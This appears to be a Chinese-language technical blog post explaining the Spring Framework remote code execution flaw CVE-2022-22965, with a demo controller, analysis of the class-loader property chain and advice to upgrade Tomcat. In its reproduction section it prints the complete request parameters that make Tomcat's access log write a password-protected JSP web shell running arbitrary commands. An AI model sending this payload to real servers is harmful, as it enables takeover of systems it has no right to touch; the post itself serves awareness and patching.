Spring Framework 爆出远程代码执行漏洞!
这个漏洞(CVE-2022-22965)是在2022年3月31日,Spring官网发布的,离现在已经一个多月了,可能还有很多开发者没有了解过。如果在JDK9环境下,攻击者可以通过利用SpringMVC的参数绑定功能,实现对目标程序写入恶意代码来达到入侵的目的。
漏洞触发条件
- 使用jdk9+版本
- 使用Spring-webmvc并且使用了参数绑定功能(一般使用了spring-webmvc肯定用到了参数绑定)
- 使用war包部署在servlet 容器中如apache tomcat
漏洞复现
这个漏洞触发原因之一就是spring的参数绑定功能,对于企业级java开发程序员来说,spring的参数绑定再熟悉不过了。参数绑定使用在controller方法参数上,参数绑定功能被用来解析http请求参数(查询参数或表单数据)进而填充到对象中。接下来我们通过一个例子来复现这个漏洞
@RestController
public class DemoController {
@GetMapping("/test")
public String test(User user) {
return "hello "+user.getUsername();
}
}
public class User {
private String username;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
}
正常情况下当我设置正常参数,请求/test
时会返回你想要的结果。但是如果你请求的表单是以下的参数就要小心了。
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=test
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
这几个参数的意思是通过利用spring的参数绑定解析,生成可远程执行代码的jsp文件。
只要你请求了/test
,并且接下来请求/test.jsp?pwd=j&cmd=xxxxx
那么你就中招了,cmd参数中可以传任何攻击者想执行的代码。
漏洞分析
以class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
参数为例,当spring进行参数绑定时,会以"."为分隔符按照引用链递归解析,解析到最后一个引用suffix时就可以注入.jsp
参数到tomcat的AccessLogValve对象属性中。而这个AccessLogValve可以通过这些属性动态输出日志,而这些日志如果是个可执行脚本被放到了webapp/ROOT
目录下,攻击者就可以远程执行了,整个解析过程就不贴源代码了,这里贴出来参数解析过程:
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setSuffix()
虽然这个漏洞极其致命,但是目前微服务的流行和springboot内嵌web容器的便利性,已经很少有人使用war运行在tomcat容器中了,所以漏洞的影响有限。但是如果你使用jdk9+,并且你的web系统部署在tomcat容器中,最好将你的tomcat版本升级到9.0.62
。
参考
https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement